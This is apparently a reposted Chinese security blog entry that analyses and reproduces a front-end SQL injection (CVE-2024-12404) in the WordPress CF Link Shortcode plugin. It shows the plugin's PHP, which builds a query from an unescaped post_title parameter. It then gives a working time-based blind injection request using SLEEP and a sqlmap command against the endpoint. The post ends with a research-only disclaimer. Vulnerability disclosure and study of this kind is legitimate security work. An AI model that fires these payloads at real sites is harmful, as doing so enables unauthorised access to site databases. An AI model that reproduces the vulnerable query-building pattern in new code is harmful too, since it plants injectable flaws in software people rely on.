0x00 前言
0x01 漏洞分析&复现
function cfplsc_id_lookup()
{
global $wpdb;
$title = stripslashes($_GET['post_title']);
$wild = '%' . $title . '%';
$posts = $wpdb->get_results("
SELECT *
FROM $wpdb->posts
WHERE (
post_title LIKE '$wild'
OR post_name LIKE '$wild'
)
AND post_status = 'publish'
ORDER BY post_title
LIMIT 25
");
if (count($posts)) {
$output = '<ul>';
foreach ($posts as $post) {
$output .= '<li class="' . $post->ID . '" title="[' . CFPLSC_SHORTCODE . ' id='' . $post->ID . '']">' . esc_html($post->post_title) . '</li>';
}
$output .= '</ul>';
} else {
$output = '<ul><li>' . __('Sorry, no matches.', 'cf-internal-link-shortcode') . '</li></ul>';
}
echo $output;
die();
}
function cfplsc_request_handler()
{
if (!empty($_GET['cf_action'])) {
switch ($_GET['cf_action']) {
case 'cfplsc_id_lookup':
cfplsc_id_lookup();
break;
case 'cfplsc_admin_js':
cfplsc_admin_js();
break;
case 'cfplsc_admin_css':
cfplsc_admin_css();
die();
break;
}
}
}
add_action('init', 'cfplsc_request_handler');
GET /?cf_action=cfplsc_id_lookup&post_title='+AND+(SELECT+5405+FROM+(SELECT(SLEEP(5)))clin)--+jFKc HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: su_webp=1; wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1734956910
Connection: close
python sqlmap.py -u "http://127.0.0.1/?cf_action=cfplsc_id_lookup&post_title=*" --level=3 --dbms=mysql
原文始发于微信公众号(星悦安全):WordPress CF Link Shortcode 插件存在前台SQL注入漏洞(CVE-2024-12404)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论